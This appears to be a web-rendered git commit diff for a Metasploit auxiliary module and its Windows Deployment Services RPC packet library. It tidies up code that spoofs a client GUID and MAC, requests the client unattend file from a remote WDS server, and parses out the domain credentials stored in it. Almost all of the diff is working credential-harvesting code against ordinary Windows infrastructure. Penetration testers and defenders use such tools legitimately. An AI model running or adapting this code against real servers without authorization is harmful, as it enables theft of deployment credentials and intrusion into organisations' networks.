Use NDR 32bit syntax.
Compatible with both x86 and x64 systems. Tidy up the module...bug/bundler_fix
parent
876d4e0aa8
commit
cad717a186
|
@ -19,11 +19,19 @@ class Packet
|
||||||
|
|
||||||
def add_var(name, type_mod=0, value_length=nil, array_size=0, value)
|
def add_var(name, type_mod=0, value_length=nil, array_size=0, value)
|
||||||
padding = 0
|
padding = 0
|
||||||
value_type = WDS_CONST::BASE_TYPE[WDS_CONST::VAR_TYPE_LOOKUP[name]]
|
vt = WDS_CONST::VAR_TYPE_LOOKUP[name]
|
||||||
|
value_type = WDS_CONST::BASE_TYPE[vt]
|
||||||
name = Rex::Text.to_unicode(name).unpack('H*')[0]
|
name = Rex::Text.to_unicode(name).unpack('H*')[0]
|
||||||
|
|
||||||
value_length ||= value.length
|
# Terminate strings with null char
|
||||||
|
if vt == :STRING
|
||||||
|
value << "\x00"
|
||||||
|
elsif vt == :WSTRING
|
||||||
|
value = Rex::Text.to_unicode(value)
|
||||||
|
value << "\x00\x00"
|
||||||
|
end
|
||||||
|
|
||||||
|
value_length ||= value.length
|
||||||
# Variable block total size should be evenly divisible by 16.
|
# Variable block total size should be evenly divisible by 16.
|
||||||
len = 16 * (1 + (value_length/16))
|
len = 16 * (1 + (value_length/16))
|
||||||
@variables <<
|
@variables <<
|
||||||
|
@ -51,7 +59,7 @@ class Packet
|
||||||
|
|
||||||
# These bytes are not part of the spec but are not part of DCERPC according to Wireshark
|
# These bytes are not part of the spec but are not part of DCERPC according to Wireshark
|
||||||
# Perhaps something from MSRPC specific? Basically length of the WDSCP packet twice...
|
# Perhaps something from MSRPC specific? Basically length of the WDSCP packet twice...
|
||||||
packet << Rex::Text.pack_int64le(packet_size+40)*2
|
packet << [(packet_size+40)].pack('V') * 2
|
||||||
packet << create_endpoint_header(packet_size)
|
packet << create_endpoint_header(packet_size)
|
||||||
packet << create_operation_header(packet_size, var_count, @packet_type, @opcode)
|
packet << create_operation_header(packet_size, var_count, @packet_type, @opcode)
|
||||||
packet.concat(@variables)
|
packet.concat(@variables)
|
||||||
|
@ -60,7 +68,8 @@ class Packet
|
||||||
end
|
end
|
||||||
|
|
||||||
def create_operation_header(packet_size, var_count, packet_type=:REQUEST, opcode)
|
def create_operation_header(packet_size, var_count, packet_type=:REQUEST, opcode)
|
||||||
return [ packet_size, # PacketSize
|
return [
|
||||||
|
packet_size, # PacketSize
|
||||||
256, # Version
|
256, # Version
|
||||||
packet_type, # Packet_Type
|
packet_type, # Packet_Type
|
||||||
0, # Padding
|
0, # Padding
|
||||||
|
@ -70,7 +79,8 @@ class Packet
|
||||||
end
|
end
|
||||||
|
|
||||||
def create_endpoint_header(packet_size)
|
def create_endpoint_header(packet_size)
|
||||||
return [ 40, # Header_Size
|
return [
|
||||||
|
40, # Header_Size
|
||||||
256, # Version
|
256, # Version
|
||||||
packet_size, # Packet_Size - This doesn't differ from operation header despite the spec...
|
packet_size, # Packet_Size - This doesn't differ from operation header despite the spec...
|
||||||
WDS_CONST::OS_DEPLOYMENT_GUID, # GUID
|
WDS_CONST::OS_DEPLOYMENT_GUID, # GUID
|
||||||
|
|
|
@ -20,7 +20,7 @@ class Metasploit3 < Msf::Auxiliary
|
||||||
DCERPCClient = Rex::Proto::DCERPC::Client
|
DCERPCClient = Rex::Proto::DCERPC::Client
|
||||||
DCERPCResponse = Rex::Proto::DCERPC::Response
|
DCERPCResponse = Rex::Proto::DCERPC::Response
|
||||||
DCERPCUUID = Rex::Proto::DCERPC::UUID
|
DCERPCUUID = Rex::Proto::DCERPC::UUID
|
||||||
WDS_CONST = Rex::Proto::DCERPC::WDSCP::Constants
|
WDS_CONST = Rex::Proto::DCERPC::WDSCP::Constants
|
||||||
|
|
||||||
def initialize(info = {})
|
def initialize(info = {})
|
||||||
super(update_info(info,
|
super(update_info(info,
|
||||||
|
@ -28,11 +28,10 @@ class Metasploit3 < Msf::Auxiliary
|
||||||
'Description' => %q{
|
'Description' => %q{
|
||||||
This module retrieves the client unattend file from Windows
|
This module retrieves the client unattend file from Windows
|
||||||
Deployment Services RPC service and parses out the stored credentials.
|
Deployment Services RPC service and parses out the stored credentials.
|
||||||
Tested against Windows 2008 R2, 64-bit.
|
Tested against Windows 2008 R2 x64 and Windows 2003 x86.
|
||||||
},
|
},
|
||||||
'Author' => [ 'Ben Campbell <eat_meatballs[at]hotmail.co.uk>' ],
|
'Author' => [ 'Ben Campbell <eat_meatballs[at]hotmail.co.uk>' ],
|
||||||
'License' => MSF_LICENSE,
|
'License' => MSF_LICENSE,
|
||||||
'Version' => '',
|
|
||||||
'References' =>
|
'References' =>
|
||||||
[
|
[
|
||||||
[ 'MSDN', 'http://msdn.microsoft.com/en-us/library/dd891255(prot.20).aspx'],
|
[ 'MSDN', 'http://msdn.microsoft.com/en-us/library/dd891255(prot.20).aspx'],
|
||||||
|
@ -65,12 +64,15 @@ class Metasploit3 < Msf::Auxiliary
|
||||||
|
|
||||||
def query_host(rhost)
|
def query_host(rhost)
|
||||||
# Create a handler with our UUID and Transfer Syntax
|
# Create a handler with our UUID and Transfer Syntax
|
||||||
|
ndr86 = '8a885d04-1ceb-11c9-9fe8-08002b104860'
|
||||||
|
version = 2
|
||||||
|
|
||||||
self.handle = Rex::Proto::DCERPC::Handle.new(
|
self.handle = Rex::Proto::DCERPC::Handle.new(
|
||||||
[
|
[
|
||||||
WDS_CONST::WDSCP_RPC_UUID,
|
WDS_CONST::WDSCP_RPC_UUID,
|
||||||
'1.0',
|
'1.0',
|
||||||
'71710533-beba-4937-8319-b5dbef9ccc36',
|
ndr86,
|
||||||
1
|
version,
|
||||||
],
|
],
|
||||||
'ncacn_ip_tcp',
|
'ncacn_ip_tcp',
|
||||||
rhost,
|
rhost,
|
||||||
|
@ -108,8 +110,7 @@ class Metasploit3 < Msf::Auxiliary
|
||||||
result = request_client_unattend(architecture)
|
result = request_client_unattend(architecture)
|
||||||
rescue ::Rex::Proto::DCERPC::Exceptions::Fault => e
|
rescue ::Rex::Proto::DCERPC::Exceptions::Fault => e
|
||||||
vprint_error(e.to_s)
|
vprint_error(e.to_s)
|
||||||
print_error("#{rhost} DCERPC Fault - Windows Deployment Services is present but not configured. Perhaps an SCCM installation.")
|
fail_with(Failure::Unknown, "#{rhost} DCERPC Fault - Windows Deployment Services is present but not configured. Perhaps an SCCM installation.")
|
||||||
return
|
|
||||||
end
|
end
|
||||||
|
|
||||||
unless result.nil?
|
unless result.nil?
|
||||||
|
@ -143,20 +144,20 @@ class Metasploit3 < Msf::Auxiliary
|
||||||
def request_client_unattend(architecture)
|
def request_client_unattend(architecture)
|
||||||
# Construct WDS Control Protocol Message
|
# Construct WDS Control Protocol Message
|
||||||
packet = Rex::Proto::DCERPC::WDSCP::Packet.new(:REQUEST, :GET_CLIENT_UNATTEND)
|
packet = Rex::Proto::DCERPC::WDSCP::Packet.new(:REQUEST, :GET_CLIENT_UNATTEND)
|
||||||
|
|
||||||
|
guid = '11223344556677578058C2C04F503931'
|
||||||
|
packet.add_var( WDS_CONST::VAR_NAME_CLIENT_GUID, guid)
|
||||||
|
|
||||||
|
# Not sure what this padding is for...
|
||||||
|
mac = [0x30].pack('C') * 20
|
||||||
|
mac << "000c29e0bab8"
|
||||||
|
packet.add_var( WDS_CONST::VAR_NAME_CLIENT_MAC, mac)
|
||||||
|
|
||||||
packet.add_var( WDS_CONST::VAR_NAME_ARCHITECTURE, [architecture[1]].pack('C'))
|
packet.add_var( WDS_CONST::VAR_NAME_ARCHITECTURE, [architecture[1]].pack('C'))
|
||||||
packet.add_var( WDS_CONST::VAR_NAME_CLIENT_GUID,
|
|
||||||
"\x35\x00\x36\x00\x34\x00\x44\x00\x41\x00\x36\x00\x31\x00\x44\x00"\
|
version = [1].pack('V')
|
||||||
"\x32\x00\x41\x00\x45\x00\x31\x00\x41\x00\x41\x00\x42\x00\x32\x00"\
|
packet.add_var( WDS_CONST::VAR_NAME_VERSION, version)
|
||||||
"\x38\x00\x36\x00\x34\x00\x46\x00\x34\x00\x34\x00\x46\x00\x32\x00"\
|
|
||||||
"\x38\x00\x32\x00\x46\x00\x30\x00\x34\x00\x33\x00\x34\x00\x30\x00"\
|
|
||||||
"\x00\x00")
|
|
||||||
packet.add_var( WDS_CONST::VAR_NAME_CLIENT_MAC,
|
|
||||||
"\x30\x00\x30\x00\x30\x00\x30\x00\x30\x00\x30\x00\x30\x00\x30\x00"\
|
|
||||||
"\x30\x00\x30\x00\x30\x00\x30\x00\x30\x00\x30\x00\x30\x00\x30\x00"\
|
|
||||||
"\x30\x00\x30\x00\x30\x00\x30\x00\x30\x00\x30\x00\x35\x00\x30\x00"\
|
|
||||||
"\x35\x00\x36\x00\x33\x00\x35\x00\x31\x00\x41\x00\x37\x00\x35\x00"\
|
|
||||||
"\x00\x00")
|
|
||||||
packet.add_var( WDS_CONST::VAR_NAME_VERSION,"\x00\x00\x00\x01\x00\x00\x00\x00")
|
|
||||||
wdsc_packet = packet.create
|
wdsc_packet = packet.create
|
||||||
|
|
||||||
print_status("Sending #{architecture[0]} Client Unattend request ...")
|
print_status("Sending #{architecture[0]} Client Unattend request ...")
|
||||||
|
@ -167,7 +168,8 @@ class Metasploit3 < Msf::Auxiliary
|
||||||
data = dcerpc.last_response.stub_data
|
data = dcerpc.last_response.stub_data
|
||||||
|
|
||||||
# Check WDSC_Operation_Header OpCode-ErrorCode is success 0x000000
|
# Check WDSC_Operation_Header OpCode-ErrorCode is success 0x000000
|
||||||
op_error_code = data.unpack('i*')[18]
|
#puts data.unpack('v*').inspect
|
||||||
|
op_error_code = data.unpack('v*')[19]
|
||||||
if op_error_code == 0
|
if op_error_code == 0
|
||||||
if data.length < 277
|
if data.length < 277
|
||||||
vprint_error("No Unattend received for #{architecture[0]} architecture")
|
vprint_error("No Unattend received for #{architecture[0]} architecture")
|
||||||
|
@ -192,13 +194,12 @@ class Metasploit3 < Msf::Auxiliary
|
||||||
def parse_client_unattend(data)
|
def parse_client_unattend(data)
|
||||||
begin
|
begin
|
||||||
xml = REXML::Document.new(data)
|
xml = REXML::Document.new(data)
|
||||||
|
return Rex::Parser::Unattend.parse(xml).flatten
|
||||||
rescue REXML::ParseException => e
|
rescue REXML::ParseException => e
|
||||||
print_error("Invalid XML format")
|
print_error("Invalid XML format")
|
||||||
vprint_line(e.message)
|
vprint_line(e.message)
|
||||||
end
|
return nil
|
||||||
|
end
|
||||||
return Rex::Parser::Unattend.parse(xml).flatten
|
|
||||||
end
|
end
|
||||||
|
|
||||||
def loot_unattend(archi, data)
|
def loot_unattend(archi, data)
|
||||||
|
|
Loading…
Reference in New Issue